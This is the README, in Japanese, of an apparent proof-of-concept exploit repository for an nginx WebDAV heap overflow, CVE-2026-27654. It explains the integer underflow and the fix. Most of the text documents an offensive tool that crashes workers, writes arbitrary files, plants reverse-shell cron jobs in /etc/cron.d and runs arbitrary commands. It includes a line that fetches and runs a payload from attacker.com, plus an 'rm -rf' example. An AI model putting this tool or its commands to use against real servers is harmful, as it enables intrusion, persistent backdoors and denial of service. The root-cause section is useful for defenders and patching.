
NGINX HTTP WebDAV モジュールにおけるヒープベースのバッファオーバーフロー脆弱性 CVE-2026-27654 の概念実証(PoC)と技術的分析。根本原因分析、再現手順、緩和策を含みます。
# CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias パス処理 PoC
このリポジトリは、nginx の `ngx_http_dav_module` におけるヒープオーバーフローの脆弱性 **CVE‑2026‑27654** の概念実証(PoC)エクスプロイトを提供します。このバグは、特別に細工された `Destination` ヘッダーと `alias` ベースのロケーションを伴う `MOVE`/`COPY` リクエストを処理する際に発生する size‑t アンダーフローに起因します。
> **⚠️ 免責事項:** このツールは**認可されたセキュリティ研究およびテスト専用**です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は誤用に対する責任を負いません。
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="CVE-2026-27654 ロゴ">
</p>
## 🔥 脆弱性の概要
**CVE-2026-27654** は、NGINX HTTP WebDAV モジュールにおけるリモートからトリガー可能な**ヒープベースのバッファオーバーフロー**であり、`ngx_http_dav_copy_move_handler()`(`src/http/modules/ngx_http_dav_module.c`)内の**整数アンダーフロー**によって引き起こされます。この脆弱性は、設定されたロケーションプレフィックスを `Destination` ヘッダーのパスから減算して宛先 URI の長さを導出する際に発生します。両方のオペランドが `size_t` 型であるため、宛先パスが短いと減算がラップアラウンドし、unsigned 値の最大値付近になります。
ラップした長さはその後 `memcpy()` のサイズ引数として使用され、メモリを破壊して NGINX ワーカープロセスを即座にクラッシュさせるヒープの範囲外書き込みが発生します。リモートの認証されていない攻撃者は、`alias` にマッピングされた WebDAV ロケーションを標的とした単一の細工済み **MOVE** または **COPY** リクエストで、この状態を確実に引き起こせます。NGINX マスタープロセスは失敗したワーカーを自動的に再生成しますが、リクエストを繰り返すことでサービスを継続的なワーカークラッシュループに維持でき、永続的なサービス拒否(DoS)を引き起こします。
AddressSanitizer (ASan) は、`memcpy()` 内の `negative-size-param` エラーでこの脆弱性を検証し、`ngx_http_dav_copy_move_handler()` から `ngx_http_core_module.c` までの実行パスを追跡します。この脆弱性は、`--with-http_dav_module` を指定してコンパイルし、`alias` ディレクティブで設定した場合に、**NGINX 0.5.13–1.28.2(stable)** および **1.29.0–1.29.6(mainline)** に影響します。この問題は、メモリ操作の前に算出された宛先パスの長さを適切に検証することにより、**NGINX 1.28.3** および **1.29.7**(コミット `ab4b5b8`、`PR #1210`)で修正されました。
## ✨ 機能
- **対話式モード選択** – 分かりやすい番号付きメニューで、実行時に4つの操作モード(crash、write-file、cron-shell、cron-cmd)から選択できます。
- **クラッシュトリガー** – size‑t アンダーフローを引き起こして脆弱なワーカーをクラッシュさせる、標準的な `MOVE`/`COPY` リクエストを送信します。
- **ファイル書き込みモード** – ファイルシステム上の任意の場所に任意のコンテンツをアップロードします(書き込み可能な `alias` を備えたラボ環境が必要です)。
- **Cron‑shell 配信** – リバースシェルの cron ジョブを `/etc/cron.d/` に展開します。`LHOST`/`LPORT` の対話式プロンプトと、リスナー起動のリマインダー付きです。
- **Cron‑cmd 配信** – cron 経由でカスタムコマンドを実行します。対話式入力または `--cron-command` フラグのいずれかを受け付けます。
- **脆弱性チェック**(`--check`) – クラッシュテストを実行し、明確な `[VULNERABLE]` / `[NOT VULNERABLE]` の判定を出力して、終了コード 0 または 1 で終了する非対話モードです。
- **HTTP プロキシサポート**(`--proxy`) – デバッグやトラフィック検査のために、すべてのリクエストを HTTP/HTTPS プロキシ(例: Burp Suite、mitmproxy)経由で送信します。
- **インテリジェントなファイル処理** – トリガーファイルが既に存在するかどうかを(HEAD/GET で)確認し、存在する場合は PUT をスキップして不要なアップロードを回避します。
- **柔軟なペイロードオプション** – `--payload-file`(バイナリ)または `--payload-text`(リテラルテキスト)でペイロードを指定するか、デフォルトのテストコンテンツを使用できます。
- **包括的なコマンドライン引数** – `--destination-path`、`--alias-len`、`--escape-depth`、`--method`、`--location-prefix` など、エクスプロイトのあらゆる側面を微調整できます。
- **堅牢なフォールバック** – `requests` ライブラリがインストールされていない場合、スクリプトは Python 標準の `http.client` にフォールバックします(フォールバックモードではプロキシサポートは無効になります)。
## 📦 インストール
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 使用方法
### 対話モード(メニュー)
```bash
python exploit.py --target 192.168.1.100:8080
```
番号付きメニューが表示され、モードの選択を求められます。
### 脆弱性チェック(非対話)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
これにより **crash** モードが強制され、エクスプロイトが実行され、終了コード `0` または `1` で終了する前に `[VULNERABLE]` または `[NOT VULNERABLE]` が出力されます。
### HTTP プロキシを使用する場合
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
すべての HTTP リクエストは指定されたプロキシ経由で送信されます(Burp でのデバッグに便利です)。
## ⚙️ フラグリファレンス
| フラグ | 説明 | 例 |
|------|-------------|---------|
| `--target HOST:PORT` | ターゲットの nginx インスタンス(デフォルト: `127.0.0.1:8080`)。 | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | 完全な HTTP レスポンス(ヘッダーとボディ)を表示します。 | `-v` |
| `--no-put` | 最初の PUT をスキップします(トリガーファイルが既に存在すると仮定)。繰り返しのテストに便利です。 | `--no-put` |
| `--location-prefix` | DAV ロケーションプレフィックス(デフォルト: `/uploads/`)。nginx 設定の `alias` ロケーションと一致している必要があります。 | `--location-prefix /dav/` |
| `--remote-name` | DAV ロケーション内に配置するリモートのソースファイル名(デフォルト: `triggerfile.txt`)。 | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | 宛先リクエストに使用する DAV メソッド(デフォルト: `MOVE`)。 | `--method COPY` |
| `--destination-path` | 宛先 URI パス – クラッシュ演算、または配信モードの最終ファイルパスに使用されます。 | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | 設定されている `alias` 文字列の長さ(クラッシュ演算の表示に使用、デフォルト `13`)。 | `--alias-len 20` |
| `--escape-depth` | DAV ルートをエスケープする `../` パスコンポーネントの数(デフォルト `1`)。 | `--escape-depth 3` |
| `--payload-file` | ペイロードとしてアップロードするローカルファイル。デフォルトのテストコンテンツを上書きします。 | `--payload-file ./shell.php` |
| `--payload-text` | `write-file` モード用のリテラルテキストペイロード。 | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | リバースシェルのコールバックホスト(`cron-shell` 用)。省略した場合、スクリプトが対話的にプロンプトを表示します。 | `--lhost 192.168.1.50` |
| `--lport` | リバースシェルのコールバックポート(`cron-shell` 用)。 | `--lport 4444` |
| `--cron-command` | cron 経由で実行するコマンド(`cron-cmd` 用)。省略した場合、スクリプトが対話的にプロンプトを表示します。 | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | cron 配信後、ジョブの実行を待機する秒数(デフォルト `65`)。 | `--wait 120` |
| `--check` | 脆弱性チェック(クラッシュテスト、非対話)を実行します。`VULNERABLE`/`NOT VULNERABLE` を出力し、コード 0/1 で終了します。 | `--check` |
| `--proxy PROXY_URL` | HTTP/HTTPS プロキシ URL(例: `http://127.0.0.1:8080`)。`requests` ライブラリが必要です。 | `--proxy http://127.0.0.1:8080` |
> **注:** ほとんどのフラグはオプションです。必要な必須引数(例: `cron-shell` の `--lhost`/`--lport`)が指定されていない場合、スクリプトがプロンプトを表示します。
## 🧪 各モードの詳細
### 1. `crash`
size‑t アンダーフローを引き起こす細工済みの `MOVE`(または `COPY`)リクエストを送信します。サーバーはワーカープロセスをクラッシュさせます。マスタープロセスが正しく設定されていれば、新しいワーカーを再生成します。
**例:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
ファイルをファイルシステム上の任意の場所にアップロードします。これは、DAV ロケーションが書き込み可能なディレクトリを指す `alias` によってバックアップされ、`Destination` パスが DAV ルートをエスケープするように細工されている場合にのみ機能します。**認可されたラボ環境でのみ使用してください。**
**例:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
リバースシェルの cron ジョブを `/etc/cron.d/` に配置します。
このモードを選択すると、スクリプトは以下を要求します:
- **LHOST** – リスニングする IP
- **LPORT** – リスニングするポート
その後、netcat リスナーコマンドを表示し、リスナーが起動したら **Enter** キーを押すのを待ちます。
**例(事前入力済み):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
カスタムコマンド(対話式または `--cron-command` で指定)を `/etc/cron.d/` に配置します。任意のシステムコマンドを実行する場合に便利です。
**例(対話式):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**例(事前入力済み):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 ワークフロー例(リバースシェル)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 ワークフロー例(コマンド実行)
この例では、リスナーを必要とせずに `cron-cmd` を使用してターゲットシステム上でコマンドを実行する方法を示します。
### 対話モード
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### 事前入力(非対話)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
スクリプトは指定された `--cron-command` を自動的に使用し、対話式プロンプトをスキップするため、自動化に適しています。
## 🛠️ 脆弱なテスト環境の構築
この PoC を管理された環境でテストするには、`--with-http_dav_module` を指定して nginx をソースからビルドし、`alias` と `dav_methods` を持つロケーションを設定できます。サンプルの Docker 設定が含まれています(近日公開予定)。
## 参考文献
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 ライセンス
このプロジェクトは GNU v3.0 ライセンスの下でライセンスされています。詳細は [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) ファイルを参照してください。
## 🤝 貢献
Issue とプルリクエストを歓迎します。貢献が同じ倫理的な使用ガイドラインに従うようにしてください。
>**注意:** セキュリティツールをテストする前に、必ず適切な許可を取得してください。倫理的に行動しましょう!